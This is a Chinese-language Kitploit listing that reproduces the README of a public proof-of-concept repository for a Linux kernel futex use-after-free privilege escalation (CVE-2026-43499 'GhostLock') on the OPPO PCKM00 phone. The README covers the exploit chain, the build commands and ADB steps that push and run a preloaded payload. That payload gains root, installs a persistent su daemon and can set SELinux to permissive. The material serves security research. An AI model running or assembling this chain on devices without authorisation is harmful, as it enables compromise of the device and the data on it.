Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
GhostLock-OPPO-PCKM00 — CVE-2026-43499 GhostLock futex UAF LPE PoC 适用于 OPPO PCKM00 (SM6150) / Linux 4.14.180 | Kitploit
工具/GitHubGitHub/yijiacloud/ghostlock-oppo-pckm00
Android安全权限提升持久化机制漏洞分析漏洞利用后渗透利用移动安全Payload 开发二进制利用
GitHubyijiacloud/ghostlock-oppo-pckm00

GhostLock-OPPO-PCKM00

CVE-2026-43499 GhostLock futex UAF LPE PoC 适用于 OPPO PCKM00 (SM6150) / Linux 4.14.180

82371个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

GhostLock — OPPO PCKM00 (4.14.180) PoC

CVE-2026-43499 (GhostLock) — Linux 内核 futex 优先级继承 释放后使用本地提权 PoC,已移植到 OPPO PCKM00 (OP4A57, SM6150, Android 11, kernel 4.14.180-perf+)。

DISCLAIMER / 免责声明 本项目仅用于授权的安全研究与教育目的。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃,作者不承担任何滥用或损失的责任。

本项目仅用于授权的安全研究与教育目的。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃,作者不承担任何滥用或损失的责任。


1. 漏洞

CVE-2026-43499 (GhostLock) 是 Linux 内核 futex 优先级继承代码中的释放后使用漏洞。该缺陷位于 rt_mutex_start_proxy_lock() 的 代理锁回滚路径中 remove_waiter() 被误用。被释放的 rt_mutex_waiter(分配在内核栈上)被重新解释为攻击者控制的 fd_set,由 pselect() 复制进来,从而产生任意写原语。

受影响范围: Linux 4.x–6.x(2011 年引入)。4.14 系列完全 受影响。完整分析和已验证的符号偏移见 report.md。

利用链

futex requeue-pi UAF
   └─> pselect fd_set stack copy (fake rt_mutex_waiter / fake task)
         └─> arbitrary write (rt_mutex tree ops / sched_setattr)
               └─> overwrite ashmem_fops -> configfs bin read/write
                     └─> pipe_buffer page rewrite (physical RW primitive)
                           └─> patch current task cred -> root

该 PoC 完全通过 LD_PRELOAD 在用户态运行——无需重启设备 (除非内核发生 panic)。


2. 目标

FieldValue
DeviceOPPO PCKM00 / OP4A57
SoCQualcomm SM6150
Android11 (RKQ1.200903.002)
Security patch2022-09-05
Kernel4.14.180-perf+ (arm64, clang 10.0.7)
BuildOPPO/PCKM00/PCKM00:11/RKQ1.200903.002/1635513065:user/release-keys

移植到其他 4.14 设备:复制 exploit/targets/oppo-pckm00/target.h 并从你的内核镜像重新生成符号偏移(见 analysis/)。


3. 仓库结构

.
├── report.md                    # Full vulnerability analysis & verified offsets
├── exploit/
│   ├── Makefile                 # Build preload.so (Windows NDK / WSL)
│   ├── src/
│   │   ├── preload.c            # LD_PRELOAD entry + forced disk logging + su
│   │   ├── main.c               # Orchestration (waiter/owner/consumer threads)
│   │   ├── slide.c              # KASLR leak (boot_id / nfulnl loggers)
│   │   ├── fops.c               # ashmem_fops overwrite + configfs primitive
│   │   ├── pipe.c               # pipe_buffer physrw primitive
│   │   ├── root.c               # task walk + cred patch + seccomp/selinux
│   │   ├── util.c               # kernelsnitch, skb page prep, kernel RW
│   │   ├── su_daemon.c          # embedded su server (drop-in)
│   │   ├── su_blob.S            # .incbin of su_daemon
│   │   └── wallpaper_blob.S     # .incbin of wallpaper payload
│   ├── targets/oppo-pckm00/target.h   # 4.14.180 symbol/struct offsets
│   └── assets/wallpaper.webp    # embedded wallpaper payload
├── analysis/                    # kernel image / kallsyms extraction scripts
└── LICENSE                      # Apache-2.0 (same as upstream GhostLock)

4. 构建

需要 Android NDK r29(aarch64-linux-android30-clang)。

Windows NDK

set NDK=C:\path\to\android-ndk-r29
make NDK=%NDK%

WSL(推荐)

# put NDK at /opt/ndk/android-ndk-r29 (linux-x86_64 toolchain)
cd exploit
make wsl
# or directly:
bash ../analysis/build_preload.sh

输出:exploit/preload.so(64 位 aarch64 ELF 共享对象)。

构建过程还会将 su_daemon.c 编译为 PIE 二进制文件,并通过 .S blob 将其(以及 壁纸)嵌入到 .so 中。


5. 使用方法(ADB)

5.1 推送 payload

# binary only (works from a release asset or a local build)
adb push preload.so /data/local/tmp/preload.so

# or with the repo layout
adb push exploit/preload.so /data/local/tmp/preload.so
adb shell chmod 755 /data/local/tmp/preload.so

5.2 运行

.so 通过 LD_PRELOAD 加载到 sh 进程中;其构造函数 运行整个利用链并报告结果:

adb shell LD_PRELOAD=/data/local/tmp/preload.so id

成功后 shell 会报告:

uid=0(root) gid=0(root) ...
[+] ROOT OK pid=<pid> uid=0

当前进程(及其子进程)现在已是 root。一个 su 守护进程被 安装到 /apex/com.android.virt/bin/su(回退到 /data/local/tmp/su),并应用一个嵌入式壁纸作为 持久化/验证产物。

5.3 验证

# from a new shell after the run
adb shell su -c 'id'

# or grab a root shell session (interactive su client)
adb shell /data/local/tmp/su

# check SELinux was toggled permissive (if the selinux path was hit)
adb shell getenforce

5.4 强制实时磁盘日志记录

所有 pr_* 诊断信息也会写入 /sdcard/Download/log_<timestamp>.txt(回退到 /data/local/tmp/log_<timestamp>.txt),每行都使用 O_SYNC + fsync(), 以便日志在内核 panic / 重启后仍能保留:

adb pull /sdcard/Download/log_*.txt
# or if /sdcard is not mounted early
adb pull /data/local/tmp/log_*.txt
adb shell cat /sdcard/Download/log_*.txt

日志会显示每个阶段(KASLR slide、fops overwrite、pipe physrw、cred patch)以及最终的 uid_after / ROOT OK 行——报告 问题时请附上它。

5.5 清理

adb shell rm -f /data/local/tmp/preload.so /data/local/tmp/log_*.txt
adb shell rm -f /data/local/tmp/su /data/local/tmp/temp_su.sock /data/local/tmp/su_daemon.log
adb reboot   # if SELinux/cred state or the wallpaper was modified

注意: 运行该利用可能导致内核崩溃。如果 adb 断开,请等待 设备重启,然后拉取 /sdcard/Download/log_*.txt——强制的 O_SYNC/fsync 日志记录正是能在 panic 后保留的内容。


6. 说明与限制

  • KASLR:该 PoC 通过 boot_id/nfulnl logger 路径 (slide.c)以及 ashmem_fops 验证过程(fops.c)泄露 slide。
  • 此移植中处理的 4.14 与 6.x 差异:
    • configfs 使用旧式 .read/.write(没有 read_iter/write_iter),
    • ashmem_fops 没有 show_fdinfo,
    • generic_file_splice_read 取代了 copy_splice_read,
    • selinux_enforcing 位于 struct selinux_state 内,
    • 4.14 的 rt_mutex_waiter / pipe_inode_info / cred 布局。
  • 某些结构体偏移(例如 task_struct.seccomp)是尽力而为的;未能 修补 seccomp 不会阻止 cred 覆盖提权。
  • 运行该利用可能触发内核 panic(在目标上约 5 秒内约 97% 可靠性); 请使用隔离设备。

7. 致谢

  • NebuSec — 原始 GhostLock 研究与利用框架 (IonStack/CVE-2026-43499),Apache-2.0。 https://github.com/NebuSec/CyberMeowfia
  • KernelSnitch(futex 哈希侧信道)按其上游条款嵌入。

许可证

Apache-2.0 — 见 LICENSE。

下载工具